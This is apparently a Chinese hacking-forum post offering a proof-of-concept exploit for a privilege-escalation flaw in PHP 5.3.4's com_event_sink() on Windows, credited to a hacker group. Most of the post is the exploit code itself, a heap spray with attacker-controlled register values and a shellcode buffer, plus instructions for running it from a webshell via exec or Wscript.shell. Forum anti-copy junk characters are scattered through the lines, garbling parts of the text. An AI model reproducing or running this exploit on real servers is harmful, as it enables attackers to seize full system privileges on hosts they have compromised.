|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
( Y6 g! h7 R% G+ n! E2 ~) f
2 N$ f+ X4 }7 c" d. ]& n测试方法如下:cmd /c x:\php\php.exe x:\test.php
5 B! A3 V9 t. S# m3 M* m3 ~1 f7 F3 Z {- Z5 L4 A
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
: O: L) Z& {3 \) o这里是两个测试的截图:
/ g$ E, H+ M9 @7 u' k/ J- f) P) l4 B7 q) H, f% h! w% J- B
6 }7 V; b! t$ j: p1 s+ M3 P
4 J" R! |5 P) W& O. s0 K" C2 C( F$ V3 ]" e2 _/ F& t& I% j6 p+ e
2 N9 Q4 x3 ~7 p成功利用此漏洞的攻击者将获得系统的最高权限5 l$ R! G) b* S. e
$ i8 ?1 m6 ^7 n5 K8 {
8 f# K( ]! V" q9 r% |. z
* o9 w; z/ T4 R& F( _8 e4 G) i9 O0 ]7 A/ e
, u7 b- C. ^7 |关于漏洞分析稍后附上。一下是PoC代码:* k g2 `9 ]. N' S2 A
7 V% _9 Q" F$ o8 h0 S4 W0 Q5 v
<?php
& f; Q8 p7 \- `4 \//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞4 O( a, V7 E, H4 S' w
//$eip ="\x44\x43\x42\x41";. L( d3 n# @, H+ ~; f
$eip= "\x4b\xe8\x57\x78";
2 x6 [: k7 c @' ]1 {* H. Z, \$eax ="\x80\x01\x8d\x04";
2 z0 o+ Y+ z- a3 X* t$ n' p5 v$deodrant="";
: n% C5 U7 k$ F9 U' G8 s9 v$axespray = str_repeat($eip.$eax,0x80);; q2 T, Q. U8 w" U0 j$ a
//048d0190
, b; z& B5 `+ E: decho strlen($axespray);
- k$ C5 F3 Q7 k; Q: ~echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";- q$ `, A) a: t' a
echo "Silic Group Hacker Army - BlackBap.Org";
T( u/ g M* J2 K5 k//19200 ==4B32 4b005 G: I( g# o3 ]" j" l
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}. ]6 B- _. _2 L1 z$ j+ {$ V8 C% q
$terminate = "T";2 q5 J2 b& r. X1 \- P2 ~
$u[] =$deodrant;
/ ]9 p6 A- g" ^) `$r[] =$deodrant.$terminate;8 u) ]9 [4 T5 ?7 H; n' c9 T
$a[] =$deodrant.$terminate;" F: E1 l) g, }# V1 y, v8 y# y1 K
$s[] =$deodrant.$terminate;
4 }5 L& f4 C( F5 C//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的$ k2 t& O# i; A) m, e0 _
$vVar = new VARIANT(0x048d0000+180);( i2 G1 K! x' z( a; F C
//弹窗代码(Shellcode)4 A1 y0 A9 h3 m! l- f3 y9 W
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
" w, S7 V3 _, E+ j$var2 = new VARIANT(0x41414242);
: s( a8 \9 x8 o; M3 Ecom_event_sink($vVar,$var2,$buffer);. |# o1 o3 w1 {) C# e! X
?>- a* I, Z( `1 z4 F
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|